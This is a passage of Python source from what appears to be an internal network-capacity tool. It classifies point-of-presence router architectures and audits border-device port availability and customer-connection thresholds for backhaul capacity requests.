phxv1_pop:\n # design_bool[\"PhoenixV1\"] = True\n if pop in freightcar:\n # Additional checks needed for sites that were never had Freightcar design implemented (example: sfo20)\n if dev in VC_DEV_HWARE:\n if \"MX10003\" in VC_DEV_HWARE[dev]:\n design_bool[\"FreightCar\"] = True\n # Adding check for Heimdall design https://w.amazon.com/bin/view/Interconnect/DirectConnect_Encryption/\n if \"-v4-\" in dev and dev not in VC_CAS_CHECK:\n design_bool[\"Heimdall\"] = True\n elif \"-v3-\" in dev and dev not in VC_CAS_CHECK:\n design_bool[\"PhoenixV2\"] = True\n elif \"-v2-\" in dev and dev not in VC_CAS_CHECK:\n design_bool[\"Centennial\"] = True\n elif \"-v1-\" in dev and dev not in VC_CAS_CHECK:\n design_bool[\"PhoenixV1\"] = True\n elif not re.findall(r\"-v[1234]-\", dev):\n design_bool[\"Legacy CAR\"] = True\n # nums = majorityElement(band)\n # if 199 >= nums >= 39:\n # design_bool[\"Legacy CAR\"] = True\n\n for arch, verified in design_bool.items():\n if verified:\n MISC_INFO[\"Current PoP Architecture(s) for {}:\".format(pop)].add(arch)\n\n\ndef phx_cas_check(devices: dict, pop: str) -> None:\n \"\"\" This will bypass the IAD66 ByteDance CAS's (iad66-vc-cas-iad-p1-v1-r[1-8]) by design \n since they backhaul to VC-EDG's in IAD7\n \"\"\"\n output_dict_v1 = {}\n output_dict_v2 = {}\n output_dict_v3 = {}\n output_dict_v4 = {}\n versions = collections.defaultdict(list)\n phx_devices = {l for l in devices if re.findall(r\"-v[1234]-\", l)}\n versions = collections.defaultdict(list)\n for x in phx_devices:\n versions[x.rsplit(\"-\")[-2]].append(x)\n for vers, devs in dict(versions).items():\n for x in devs:\n car = nsm_isd.get_raw_interfaces_for_device(x)\n get_neigh = {\n xx[\"neighbors\"][\"link_layer\"][\"device_name\"]\n for xx in car\n if \"neighbors\" in xx\n if \"-vc-cas-\" in xx[\"neighbors\"][\"link_layer\"][\"device_name\"]\n }\n if len(get_neigh) >= 1:\n cas_check = phx_cas_design(tuple(get_neigh))\n if vers == \"v1\":\n output_dict_v1.update(cas_check)\n if vers == \"v2\":\n output_dict_v2.update(cas_check)\n if vers == \"v3\":\n output_dict_v3.update(cas_check)\n if vers == \"v4\":\n output_dict_v4.update(cas_check)\n if output_dict_v1:\n MISC_INFO[\"Current PoP Architecture(s) for {}:\".format(pop)].add(\"PhoenixV1\")\n phx_design_verify(output_dict_v1, pop, version=\"v1\")\n if output_dict_v2:\n MISC_INFO[\"Current PoP Architecture(s) for {}:\".format(pop)].add(\"Centennial\")\n phx_design_verify(output_dict_v2, pop, version=\"v2\")\n if output_dict_v3:\n MISC_INFO[\"Current PoP Architecture(s) for {}:\".format(pop)].add(\"PhoenixV2\")\n phx_design_verify(output_dict_v3, pop, version=\"v3\")\n if output_dict_v4:\n MISC_INFO[\"Current PoP Architecture(s) for {}:\".format(pop)].add(\"Heimdall\")\n phx_design_verify(output_dict_v4, pop, version=\"v4\")\n # return output_dict\n\n\n@functools.lru_cache(maxsize=12)\ndef phx_cas_design(s: tuple) -> dict:\n cas_count = {}\n cas_interf = collections.defaultdict(list)\n for c in s:\n cas = nsm_isd.get_raw_interfaces_for_device(c)\n for x in cas:\n intf = x[\"short_name\"].split(\"-\")[0]\n car_check = x[\"interface_description\"]\n if (\n intf.startswith(\"ge\")\n or intf.startswith(\"xe\")\n or intf.startswith(\"et\")\n and not \"-vc-car\" in car_check\n ):\n cas_interf[c].append(int(x[\"bandwidth_mbit\"]) // 1000)\n\n for d, s in dict(cas_interf).items():\n agg = collections.Counter(s)\n cas_count[d] = dict(sorted(agg.items(), key=lambda x: int(x[0])))\n return cas_count\n\n\ndef phx_design_verify(d: dict, pop: str, version=None) -> None:\n one_s = 0\n ten_s = 0\n hun_s = 0\n for _, intf in d.items():\n if 100 in intf:\n hun_s += intf[100]\n if 10 in intf:\n ten_s += intf[10]\n if 1 in intf:\n one_s += intf[1]\n\n if version == \"v1\":\n if hun_s > 4:\n MISC_INFO[\n \"Specific Phoenix design code name deployed in {}:\".format(pop)\n ].add(\"PhoenixV1 - Full (No longer deployed)\")\n elif hun_s == 4:\n MISC_INFO[\n \"Specific Phoenix design code name deployed in {}:\".format(pop)\n ].add(\"PhoenixV1 - Full 4 (No longer deployed)\")\n else:\n MISC_INFO[\n \"Specific Phoenix design code name deployed in {}:\".format(pop)\n ].add(\"PhoenixV1 - Flex (No longer deployed)\")\n if version == \"v2\":\n if ten_s >= 1:\n MISC_INFO[\n \"Specific Phoenix design code name deployed in {}:\".format(pop)\n ].add(\"Centennial Flex\")\n elif ten_s == 0 and hun_s >= 1:\n MISC_INFO[\n \"Specific Phoenix design code name deployed in {}:\".format(pop)\n ].add(\"Centennial (100G only)\")\n if version == \"v3\":\n if one_s >= 1:\n MISC_INFO[\n \"Specific Phoenix design code name deployed in {}:\".format(pop)\n ].add(\"Renaissance 1G-10G\")\n elif one_s == 0 and ten_s >= 1:\n MISC_INFO[\n \"Specific Phoenix design code name deployed in {}:\".format(pop)\n ].add(\"Renaissance 10G\")\n if version == \"v4\":\n if one_s >= 1 or ten_s >= 1:\n MISC_INFO[\n \"Specific Phoenix design code name deployed in {}:\".format(pop)\n ].add(\"Heimdall 1G-10G\")\n elif ten_s >= 1 or hun_s >= 1:\n MISC_INFO[\n \"Specific Phoenix design code name deployed in {}:\".format(pop)\n ].add(\"Heimdall Flex\")\n\n\n# Function will be deprecated\n# def majorityElement(nums: list) -> int:\n# count = 0\n# candidate = None\n\n# for num in nums:\n# if count == 0:\n# candidate = num\n# count += 1 if num == candidate else -1\n\n# return candidate\n\n\n# def car_spec(xx: list, vc_type, location: str):\ndef car_spec(xx: list, args):\n global BR_DEVICES\n global MISC_INFO\n list_a, list_b = [], []\n for x in xx:\n if x.count(\"-\") > 4:\n list_b.append(x)\n else:\n list_a.append(x)\n\n if list_a:\n jump_off(list_a, args)\n\n if list_b:\n BR_DEVICES.clear()\n MISC_INFO.clear()\n print()\n jump_off(list_b, args)\n if list_b and not list_a:\n jump_off(list_b, args)\n\n\ndef dual_tc_car_spec(x: dict, args, regions=None):\n global BR_DEVICES\n global MISC_INFO\n diff_c = 0\n values = [r for r in x]\n static = x[values[0]]\n for v in values[1:]:\n if not static == set(x[v]):\n diff_c += 1\n if diff_c >= 1:\n print(\n \"Dual-homed PoP's found - below are the following region(s) that will be verified independently:\"\n )\n for reg in values:\n print(f\"\\t{bcolors.OKGREEN}{reg}{bcolors.ENDC}\")\n\n for region, devices in x.items():\n print()\n print(\n f\"Performing backhaul verification for: {bcolors.OKGREEN}{region}{bcolors.ENDC}\"\n )\n get_region = region\n jump_off(devices, args, static_region=\",\".join(regions))\n BR_DEVICES.clear()\n MISC_INFO.clear()\n else:\n print(\n \"Dual-homed PoP's found but they contain the same devices - the region below will be verified:\"\n )\n print(f\"\\t{bcolors.OKGREEN}{values[0]}{bcolors.ENDC}\")\n get_region = values[0]\n jump_off(x[values[0]], args, static_region=\",\".join(regions))\n\n\ndef max_customer_check(device):\n p = ddb.get_device_from_table(TABLE, \"Name\", device)[\"Interfaces\"]\n tally = 0\n for x in p:\n if \"-vc-cas\" in x[\"Description\"].lower():\n VC_CAS_CHECK[device] = True\n MISC_INFO[\"VC-CAS Devices found:\"].add(\"Yes\")\n if \"Neighbor\" in x:\n if x[\"Neighbor\"] not in VC_CAS_CHECK:\n VC_CAS_CHECK[x[\"Neighbor\"]] = True\n max_customer_check(x[\"Neighbor\"])\n else:\n continue\n if \"customer\" in x[\"Description\"].lower():\n tally += 1\n if tally >= 155:\n # print(f\"{device} - Threshold breached\")\n MISC_INFO[\n \"The following customer-facing devices may exceed customer-connection threshold:\"\n ].add(device)\n break\n\n\ndef get_b_dev(sp: str, a_dev=\"placeholder\", b_dev=\"br-tra,vc-dar,vc-cor\") -> dict:\n \"\"\" Retrieve list of border devices to be searched for port availability \"\"\"\n try:\n # logging.debug(\"{} searching for {} or {}\".format(sp, b_dev, a_dev))\n place_hold = False\n border_info = collections.defaultdict(set)\n a_dev_srch = [x for x in a_dev.split(\",\")]\n b_dev_srch = [x for x in b_dev.split(\",\")]\n border_devices = set()\n vc_devices = set()\n a_info = nsm_isd.get_raw_device(sp)\n get_neigh = [xx for xx in a_info[\"interfaces\"] if \"neighbors\" in xx]\n for xx in get_neigh:\n if \"physical\" in xx[\"class\"] and \"up\" in xx[\"admin_status\"]:\n if xx[\"neighbors\"][\"link_layer\"][\"device_name\"] is not None:\n if any(\n yy in xx[\"neighbors\"][\"link_layer\"][\"device_name\"].lower()\n for yy in b_dev_srch\n ):\n border_devices.add(\n xx[\"neighbors\"][\"link_layer\"][\"device_name\"].lower()\n )\n if any(\n yy in xx[\"neighbors\"][\"link_layer\"][\"device_name\"].lower()\n for yy in a_dev_srch\n ):\n vc_devices.add(\n xx[\"neighbors\"][\"link_layer\"][\"device_name\"].lower()\n )\n\n if \"-vc-car\" in sp:\n max_customer_check(sp)\n car_tra_nar_check(sp, border_devices)\n # vc_devices var maybe removed in later versions of script - adding placeholder for now\n if vc_devices:\n place_hold = True\n # for a in vc_devices:\n # if \"-vc-cas-\" in a:\n # VC_CAS_CHECK[sp] = True\n # MISC_INFO[\"VC-CAS Devices found:\"].add(\"Yes\")\n # # else:\n # border_info[a].add(\"SEARCHNEEDED\")\n\n if border_devices:\n for b in border_devices:\n border_info[sp].add(b)\n return dict(border_info)\n except Exception as e:\n FAILED_DEVICES[sp] = e\n\n\ndef car_tra_nar_check(car: str, brd: set):\n count = 0\n for x in brd:\n if \"br-tra\" in x:\n count += 1\n\n if count < 4:\n MISC_INFO[\n \"These VC-CAR's are currently striped to less than 4 BR-TRA's (this may incur a NAR):\"\n ].add(car)\n\n\ndef brdr_dev_srch(pop: str, x: dict, region=None) -> list:\n \"\"\" Initial border device search function that\n parses the dictionary based on border devices found in the get_b_dev\n function\n \"\"\"\n b_devices = set(itertools.chain(*[l for _, l in x.items()]))\n if len(b_devices) >= 1:\n # Adding set comprehension for IAD53 split TRA/DAR scenario\n mod_b = {v for v in b_devices if \"br-tra\" in v or \"br-kct\" in v}\n extract = [\n list(g)[0]\n for k, g in itertools.groupby(mod_b, key=lambda x: x.split(\"-\")[0])\n ]\n # Multiple Backhaul TC verification\n if not region:\n mult_tc_check = set([x.split(\"-\")[0] for x in extract])\n if len(mult_tc_check) >= 2:\n MISC_INFO[\"Multiple Backhaul TC's Found - Site Locators are\"].update(\n mult_tc_check\n )\n # Multiple Backhaul Region verification\n found_region = set([nsm_isd.get_nsm_region_for_device(x) for x in extract])\n ret_region = \",\".join(found_region)\n if len(found_region) >= 2:\n MISC_INFO[\"Multiple Backhaul TC's Found - Region Locators are\"].add(\n found_region\n )\n if pop in PIONEER_SITES:\n diff = set(PIONEER_SITES[pop]) - mult_tc_check\n found = \",\".join(PIONEER_SITES[pop])\n if len(diff) >= 1:\n MISC_INFO[\n f\"Pioneer PoP appears to be single-homed - expected TC's: {bcolors.OKGREEN}{found}{bcolors.ENDC} - missing TC(s):\"\n ].update(diff)\n MISC_INFO[\"Current PoP Architecture(s) for {}:\".format(pop)].add(\n \"Pioneer\"\n )\n else:\n ret_region = region\n if all(\"br-tra\" in x for x in extract):\n devices = nsm.get_devices_from_nsm(\"br-tra\", regions=ret_region)\n elif all(\"br-kct\" in x for x in extract):\n devices = nsm.get_devices_from_nsm(\"br-kct\", regions=ret_region)\n if devices:\n found_devs = [\n x\n for x in devices\n if any(x.split(\"-\")[0] == l.split(\"-\")[0] for l in extract)\n ]\n return found_devs\n else:\n print(bcolors.FAIL + \"No BR-TRA or BR-KCT devices found\" + bcolors.ENDC)\n else:\n print(bcolors.FAIL + \"No Border Devices Found\" + bcolors.ENDC)\n sys.exit()\n\n\ndef brdr_port_cap(\n devices: list, ten_gb=False, forty_gb=False, hundred_gb=False\n) -> dict:\n \"\"\" Returns dict of port availability info based on\n specified interface speed in function parameter\n \"\"\"\n ports = {x: portdata.get_device_available_port(x) for x in devices}\n filt_ports = {k: v for k, v in ports.items() if v is not None}\n # Add to global port-availability dictionary\n if filt_ports:\n # Populate hardware device dict\n _ = concurr_f(hardware_cache, filt_ports)\n AVAIL_PORT_DICT.update(filt_ports)\n agg_border = collections.defaultdict(dict)\n for i in filt_ports:\n agg_border[i] = {}\n for x, y in filt_ports[i].items():\n count = int(x) // 1000\n if hundred_gb:\n if count == 100:\n agg_border[i][count] = len(y)\n if forty_gb:\n if count == 40:\n agg_border[i][count] = len(y)\n if ten_gb:\n if count == 10:\n agg_border[i][count] = len(y)\n\n return dict(agg_border)\n\n\ndef brdr_port_verify(\n location: str,\n devices: dict,\n tra_verify=False,\n kct_verify=False,\n speed=0,\n amount=0,\n threshold=0,\n) -> bool:\n \"\"\" Returns boolean for specified capacity request \"\"\"\n if tra_verify:\n tra_extracted = all(\"br-tra\" in x for x in devices)\n if not tra_extracted:\n d_type = \",\".join(set([l[5:11] for l in devices]))\n print(\n f\"\\tNo BR-TRA devices found to be verified - Proceeding to {bcolors.WARNING}Step 2 (BR-KCT port verification){bcolors.ENDC}\"\n )\n print(f\"\\t Device-type found: {bcolors.WARNING}{d_type}{bcolors.ENDC}\")\n return False\n if kct_verify:\n kct_extracted = all(\"br-kct\" in x for x in devices)\n if not kct_extracted:\n d_type = \",\".join(set([l[5:11] for l in devices]))\n print(\n f\"\\tNo BR-KCT devices found to be verified - Proceeding to {bcolors.WARNING}Step 3 (Interim BR-TRA port verification{bcolors.ENDC}\"\n )\n print(f\"\\t Device-type found: {bcolors.WARNING}{d_type}{bcolors.ENDC}\")\n return False\n if tra_verify or kct_verify:\n elig_devices = set()\n PHX_TRA_ELIG = 0\n for d, i in devices.items():\n for x, v in i.items():\n if x == speed and v >= amount:\n elig_devices.add(d)\n PHX_TRA_ELIG += 1\n else:\n pass\n\n if PHX_TRA_ELIG >= threshold:\n verify = multi_tc_verify(\n location, devices, threshold=threshold, number=amount, speed=speed\n )\n # Verify DX Ports are available after multi-TC verification\n if verify and elig_devices:\n if tra_verify and RESERVE_PORTS:\n port_verify = dx_port_verify(\n location,\n tuple(elig_devices),\n threshold=threshold,\n number=amount,\n speed=str(speed * 1000),\n border=\"br-tra\",\n )\n return port_verify\n else:\n return verify\n # No port reservations found for BR-KCT devices yet\n # elif kct_verify:\n # port_verify = dx_port_verify(\n # location,\n # elig_devices,\n # threshold=threshold,\n # number=amount,\n # speed=str(speed * 10000),\n # border=\"br-kct\",\n # )\n else:\n return False\n\n\ndef kct_jump_func(pop: str, devices: dict, location: str, static_region=None):\n \"\"\" Seperate jumpoff function for KCT devices to be verified\n for port availability/capacity requests\n \"\"\"\n KCT_VERIFIED = False\n print()\n if VC_COR_BRICK:\n # print(\n # bcolors.BOLD\n # + \"2. Beginning BR-KCT port verification for devices in {locate} (VC-COR devices already found in {locate}):\".format(\n # locate=location\n # )\n # + bcolors.ENDC\n # )\n print(\n f\"{bcolors.BOLD}2. Beginning BR-KCT port verification for devices in {location} ({bcolors.ENDC}{bcolors.OKGREEN}VC-COR devices already found in {location}{bcolors.ENDC}{bcolors.BOLD}):{bcolors.ENDC}\"\n )\n else:\n print(\n f\"{bcolors.BOLD}2. Beginning BR-KCT port verification for devices in {location} ({bcolors.ENDC}{bcolors.WARNING}this would require deployment of VC-COR devices{bcolors.ENDC}{bcolors.BOLD}):{bcolors.ENDC}\"\n )\n # print(\n # bcolors.BOLD\n # + \"2. Beginning BR-KCT port verification for devices in {} (this would require deployment of VC-COR devices):\".format(\n # location\n # )\n # + bcolors.ENDC\n # )\n # If pop not in Pioneer dict then proceed to KCT port audit\n if pop not in PIONEER_SITES:\n output_kct = {}\n kct_locat = set([x for x in devices])\n if all(\"kct\" in s for s in kct_locat):\n kct_srch = list(kct_locat)\n else:\n # output = [get_b_dev(x, a_dev=\"placeholder\", b_dev=\"br-kct\") for x in kct_locat]\n output = concurr_f(\n get_b_dev, list(kct_locat), a_dev=\"placeholder\", b_dev=\"br-kct\"\n )\n for x in output:\n output_kct.update(x)\n kct_srch = brdr_dev_srch(location, output_kct, region=static_region)\n kct_capacity = brdr_port_cap(kct_srch, ten_gb=True, forty_gb=True)\n print(\n bcolors.WARNING\n + \"\\t2A. Searching for 4 * 40Gb ports on minimum of 8 BR-KCT's (160G per KCT)\"\n + bcolors.ENDC\n )\n kct_elig = brdr_port_verify(\n location, kct_capacity, kct_verify=True, speed=40, amount=4, threshold=8\n )\n if not kct_elig:\n print(\n bcolors.FAIL\n + \"\\t Request for 4 * 40Gb ports on minimum of 8 BR-KCT's cannot be fulfilled\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.WARNING\n + \"\\t2B. Searching for 16 * 10Gb ports on minimum of 8 BR-KCT's (160G per KCT)\"\n + bcolors.ENDC\n )\n kct_elig_retry = brdr_port_verify(\n location,\n kct_capacity,\n kct_verify=True,\n speed=10,\n amount=16,\n threshold=8,\n )\n if not kct_elig_retry:\n print(\n bcolors.FAIL\n + \"\\t Request for 16 * 10Gb ports on minimum of 8 BR-KCT's cannot be fulfilled\"\n + bcolors.ENDC\n )\n print()\n kct_extracted = all(\"br-kct\" in x for x in kct_capacity)\n if kct_extracted:\n print(\n f\"\\tThe {len(kct_capacity)} {bcolors.WARNING}BR-KCT{bcolors.ENDC} devices below were audited for available ports:\"\n )\n for k in sorted(\n kct_capacity,\n key=lambda x: int(x.rsplit(\"-\", 1)[-1].split(\"r\")[-1]),\n ):\n status = \"FAILED\"\n print(f\"\\t {k:>22s}: {bcolors.FAIL}{status}{bcolors.ENDC}\")\n print()\n print(\n bcolors.FAIL\n + \"\\tStandard request(s) cannot be fulfilled on BR-TRA's/KCT's. Running interim BR-TRA port check\"\n + bcolors.ENDC\n )\n\n if kct_elig:\n print(\n bcolors.OKGREEN\n + \"\\t Request for 4 * 40Gb ports on minimum of 8 BR-KCT's can be fulfilled (more information below)\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.OKGREEN\n + \"\\tSUCCESS! 4 * 40G - 8-diff KCT (160G per KCT) = 1.28T (Most Preferred) - Can be fulfilled\"\n + bcolors.ENDC\n )\n verified_ports(kct_capacity, number=4, speed=\"40\", value=\"br-kct\")\n KCT_VERIFIED = True\n elif kct_elig_retry:\n print(\n bcolors.OKGREEN\n + \"\\t Request for 16 * 10Gb ports on minimum of 8 BR-KCT's can be fulfilled (more information below)\"\n + bcolors.ENDC\n )\n print()\n print(\n bcolors.OKGREEN\n + \"\\tSUCCESS! 16 * 10G - 8-diff KCT (160G per KCT) = 1.28T (Secondary Option) - Can be fulfilled\"\n + bcolors.ENDC\n )\n verified_ports(kct_capacity, number=16, speed=\"10\", value=\"br-kct\")\n KCT_VERIFIED = True\n\n if not KCT_VERIFIED:\n interim_tra_verify(devices, location)\n else:\n print(\n f\"\\tINFO: {bcolors.WARNING}{pop}{bcolors.ENDC} appears to be a Pioneer PoP and this negates the BR-KCT capacity verification - Proceeding to {bcolors.WARNING}Step 3 (Interim BR-TRA port audit){bcolors.ENDC}\"\n )\n interim_tra_verify(devices, location)\n\n\ndef get_hardware(x: dict) -> dict:\n \"\"\" Function returns dict of hardware models found \"\"\"\n device_dict = {\n d: \"\".join(nsm.get_device_hardware_from_nsm(d)[\"Chassis\"]) for d, _ in x.items()\n }\n return device_dict\n\n\ndef hardware_cache(x: str) -> str:\n try:\n r = HARDWARE_INFO[x]\n except (TypeError, KeyError):\n try:\n r = \"\".join(nsm.get_device_hardware_from_nsm(x)[\"Chassis\"])\n if r:\n HARDWARE_INFO[x] = r\n except (RuntimeError, TypeError, NameError, KeyError):\n r = \"NotFound\"\n return r\n\n\ndef temp_hardware_func(x: str) -> str:\n try:\n r = \"\".join(nsm.get_device_hardware_from_nsm(x)[\"Chassis\"])\n except (RuntimeError, TypeError, NameError, KeyError):\n if x.count(\"-\") > 4:\n r = \"JNP10003 [MX10003]\"\n else:\n r = \"MX960\"\n return r\n\n\ndef dar_version(x: str) -> str:\n try:\n r = \"\".join(nsm.get_device_hardware_from_nsm(x)[\"Chassis\"])\n extract_dig = len([l for l in r if l.isdigit()])\n if extract_dig > 4:\n return \"VC-DARv2\"\n else:\n return \"VC-DARv1\"\n except (RuntimeError, TypeError, NameError, KeyError):\n return \"VC-DAR version not found\"\n\n\ndef verified_ports(d: dict, number=0, speed=\"100\", value=\"br-tra\"):\n \"\"\" Function prints port availability and speed information \"\"\"\n print()\n elig_port_info = {d: v for d, v in d.items() for x, y in v.items() if y >= number}\n # hardware_info = get_hardware(elig_port_info)\n if \"br-tra\" in value:\n tra_version(elig_port_info)\n if \"br-kct\" in value:\n kct_version(elig_port_info)\n print(\n bcolors.BOLD\n + \"\\tPort information for {} devices that meet capacity request\".format(value)\n + bcolors.ENDC\n )\n for a, b in sorted(\n elig_port_info.items(),\n key=lambda x: int(x[0].rsplit(\"-\", 1)[-1].split(\"r\")[-1]),\n ):\n for aa, bb in b.items():\n if speed == str(aa):\n if int(bb) >= number:\n print(\n \"\\t {:>22}({}) - Number of {}Gb ports found: {}\".format(\n a, HARDWARE_INFO[a], aa, bb\n )\n )\n\n\ndef kct_version(h_ware: dict):\n kctv_bool = {\n \"KCTv3\": False,\n \"KCTv2\": False,\n \"KCTv1\": False,\n }\n for d in h_ware:\n if \"PTX\" in HARDWARE_INFO[d]:\n kctv_bool[\"KCTv3\"] = True\n elif \"QFX1000\" in HARDWARE_INFO[d]:\n kctv_bool[\"KCTv2\"] = True\n else:\n kctv_bool[\"KCTv1\"] = True\n\n for arch, verified in kctv_bool.items():\n if verified:\n MISC_INFO[\"KCT Architecture version(s) found:\"].add(arch)\n\n\ndef tra_version(h_ware: dict):\n for d in h_ware:\n if \"PTX\" in HARDWARE_INFO[d]:\n MISC_INFO[\"PTX BR-TRA's found:\"].add(\"Yes\")\n if \"MX\" in HARDWARE_INFO[d]:\n MISC_INFO[\"MX BR-TRA's found:\"].add(\"Yes\")\n\n\n@functools.lru_cache(maxsize=12)\ndef port_adhere(sp: str) -> bool:\n \"\"\" Verify if PTX TRA's are adhering to port allocation standards -- if not then any ports can be used \"\"\"\n dx_tra_ptx = range(36, 48)\n dev = nsm_isd.get_raw_interfaces_for_device(sp)\n get_neigh = [\n (\n xx[\"short_name\"],\n xx[\"bandwidth_mbit\"],\n xx[\"neighbors\"][\"link_layer\"][\"device_name\"],\n )\n for xx in dev\n if \"neighbors\" in xx\n if \"/\" in xx[\"short_name\"]\n ]\n ports = sorted(get_neigh, key=lambda x: int(x[0].split(\"/\")[2].split(\":\")[0]))\n found = [\n l[0]\n for l in ports\n if \"vc-dar\" in l[2] or \"vc-car\" in l[2]\n if int(l[0].split(\"/\")[2].split(\":\")[0]) not in dx_tra_ptx\n ]\n if len(found) > 2:\n return False\n else:\n return True\n\n\n@functools.lru_cache(maxsize=128)\ndef dx_port_verify(\n pop: str, devices: tuple, threshold=0, number=0, speed=0, border=None\n) -> bool:\n \"\"\" Using port mappings in https://w.amazon.com/bin/view/Networking/IS/Design/BR-TRA/ \"\"\"\n print(\n f\"\\t Adequate ports found on {border} devices: {bcolors.OKGREEN}YES{bcolors.ENDC}\"\n )\n good_dev = set()\n bad_dev = set()\n tally = 0\n dx_tra_mx = range(0, 4)\n dx_tra_ptx = range(36, 48)\n if \"br-tra\" == border:\n for d in sorted(devices):\n if \"PTX\" in HARDWARE_INFO[d]:\n if not port_adhere(d):\n print(\n f\"\\t {bcolors.WARNING}Skipping DX-reserved port checks on: {bcolors.FAIL}{d}{bcolors.ENDC} (doesn't appear to follow PTX {border} port allocation standard){bcolors.ENDC}\"\n )\n count = number + 1\n elif all(\":\" in e for e in AVAIL_PORT_DICT[d][speed]):\n count = len(\n [\n l\n for l in AVAIL_PORT_DICT[d][speed]\n if int(l.split(\"/\")[2].split(\":\")[0]) in dx_tra_ptx\n ]\n )\n else:\n count = len(\n [\n l\n for l in AVAIL_PORT_DICT[d][speed]\n if int(l.split(\"/\")[2]) in dx_tra_ptx\n ]\n )\n if count >= number:\n tally += 1\n good_dev.add(d)\n else:\n bad_dev.add(d)\n\n elif \"MX\" in HARDWARE_INFO[d]:\n count = len(\n [\n l\n for l in AVAIL_PORT_DICT[d][speed]\n if int(l.split(\"/\")[0].split(\"-\")[1]) in dx_tra_mx\n ]\n )\n if count >= number:\n tally += 1\n good_dev.add(d)\n else:\n bad_dev.add(d)\n # No port allocations found for KCT devices\n\n if threshold > tally:\n print(\n f\"\\t Adequate DX-reserved ports found on {border} devices: {bcolors.FAIL}NO{bcolors.ENDC}\"\n )\n if good_dev and bad_dev:\n dev_port_info(a=good_dev, b=bad_dev)\n else:\n dev_port_info(b=bad_dev)\n return False\n else:\n print(\n f\"\\t Adequate DX-reserved ports found on {border} devices: {bcolors.OKGREEN}YES{bcolors.ENDC}\"\n )\n return True\n\n\ndef dev_port_info(a=None, b=None):\n if a:\n good_dev = \", \".join(a)\n print(\n f\"\\t Adequate DX-reserved ports found on devices: {bcolors.OKGREEN}{good_dev}{bcolors.ENDC}\"\n )\n if b:\n bad_dev = \", \".join(b)\n print(\n f\"\\t Adequate DX-reserved ports NOT found on devices: {bcolors.FAIL}{bad_dev}{bcolors.ENDC}\"\n )\n\n\ndef multi_tc_verify(pop: str, devices: dict, threshold=0, number=0, speed=0) -> bool:\n \"\"\" Function verifies if more than one TC is providing backhaul and\n will verify if backhaul devices in the TC's meet threshold for capacity\n requests\n Reference URLs below for more information:\n https://code.amazon.com/packages/JukeboxRouterConfiguratorTemplates/blobs/mainline/--/templates/macros/pioneer-pops-info.ftl\n https://code.amazon.com/packages/JukeboxRouterConfiguratorTemplates/blobs/mainline/--/templates/macros/dx-small-pops.ftl\n \"\"\"\n verified = True\n tc_count = set([c.split(\"-\")[0] for c in devices])\n if len(tc_count) > 1:\n extract_info = {\n d: v\n for d, v in devices.items()\n for x, y in v.items()\n if y >= number and x == speed\n }\n extract = [xx for xx, yy in extract_info.items() if yy]\n tc_tally = collections.defaultdict(list)\n for devices in extract:\n tc_tally[devices.split(\"-\")[0]].append(devices)\n if len(dict(tc_tally)) > 1:\n # Adding check for Pioneer design (if no VC-DAR found)\n if not VC_DAR_FOUND and pop in PIONEER_SITES:\n MISC_INFO[\"Current PoP Architecture(s) for {}:\".format(pop)].add(\n \"Pioneer\"\n )\n verified = all(len(x) >= threshold for y, x in tc_tally.items())\n else:\n verified = False\n return verified\n\n\ndef dar_tc_verify(s: dict) -> None:\n info_dict = collections.defaultdict(dict)\n dar_count = {\n y.split(\"-\")[0] for l in s for x, v in l.items() for y in v if not \"vc-dar\" in y\n }\n for x in s:\n for dar, back in x.items():\n border_dev = \",\".join({l.split(\"-\")[0] for l in back if not \"vc-dar\" in l})\n if any(\"vc-dar\" in b for b in back):\n info_dict[dar][\"Crosslink\"] = \"Yes\"\n if dar_count:\n if len(dar_count) < 2:\n info_dict[dar][\"Homing\"] = \"Single\"\n elif len(dar_count) >= 2:\n info_dict[dar][\"Homing\"] = \"Multi\"\n info_dict[dar][\"Parent-TC's\"] = border_dev\n\n for x, y in dict(info_dict).items():\n if y[\"Homing\"] == \"Single\" and y[\"Crosslink\"] == \"Yes\":\n MISC_INFO[\n f\"VC-DAR appears to be single-homed - VC-DAR: {bcolors.FAIL}{x}{bcolors.ENDC} Crosslink Found: {bcolors.OKGREEN}Yes{bcolors.ENDC} - Parent TC found:\"\n ].add(y[\"Parent-TC's\"])\n elif y[\"Homing\"] == \"Single\" and y[\"Crosslink\"] == \"NO\":\n MISC_INFO[\n f\"VC-DAR appears to be single-homed - VC-DAR: {bcolors.FAIL}{x}{bcolors.ENDC} Crosslink Found: {bcolors.FAIL}No{bcolors.ENDC} - Parent TC found:\"\n ].add(y[\"Parent-TC's\"])\n elif y[\"Homing\"] == \"Multi\":\n MISC_INFO[\n f\"VC-DAR appears to be multi-homed - VC-DAR: {bcolors.OKGREEN}{x}{bcolors.ENDC} - Parent TC(s) found:\"\n ].add(y[\"Parent-TC's\"])\n\n # for d, bkhaul in s.items():\n # tc_check = [l.split(\"-\")[0] for l in bkhaul]\n # if len(tc_check) < 2:\n # MISC_INFO[\n # f\"VC-DAR appears to be single-homed - VC-DAR: {bcolors.FAIL}{d}{bcolors.ENDC} - TC found:\"\n # ].update(tc_check)\n # else:\n # MISC_INFO[\n # f\"VC-DAR appears to be dual-homed - VC-DAR: {bcolors.OKGREEN}{d}{bcolors.ENDC} - TC(s) found:\"\n # ].update(tc_check)\n\n\ndef border_filt(o: dict) -> dict:\n \"\"\" Add filter search for vc-dar and vc-cor devices \"\"\"\n global VC_COR_BRICK\n global VC_DAR_FOUND\n ALL_TRA = False\n new_dict = {}\n # Add BR-TRA's to set for NetVane verification\n tra_add = [y for x, y in o.items() if all(\"br-tra\" in xx for xx in y)]\n if tra_add:\n ALL_TRA = True\n tra_final = list(set().union(*tra_add))\n for e in tra_final:\n BR_DEVICES.add(e)\n extract = set(\n [xx for x, y in o.items() for xx in y if \"vc-dar\" in xx or \"vc-cor\" in xx]\n )\n if extract:\n print(\n bcolors.WARNING\n + \"Additional devices need to be searched for border capacity information. Devices below will be searched:\"\n + bcolors.ENDC\n )\n for e in extract:\n if \"vc-dar\" in e:\n VC_DAR_FOUND = True\n if not ALL_TRA:\n BR_DEVICES.add(e)\n MISC_INFO[\"VC-DAR's Found - devices found:\"].add(e)\n MISC_INFO[\"VC-DAR Version Found:\"].add(dar_version(e))\n print(\n \"\\t{}({})\".format(\n e, \"\".join(nsm.get_device_hardware_from_nsm(e)[\"Chassis\"])\n )\n )\n print()\n # for d in extract:\n # del o[d]\n new_dict.update(o)\n if any(\"vc-dar\" in x for x in extract):\n remain_devices = set()\n result = concurr_f(\n get_b_dev,\n [w for w in extract if \"vc-dar\" in w],\n a_dev=\"placeholder\",\n 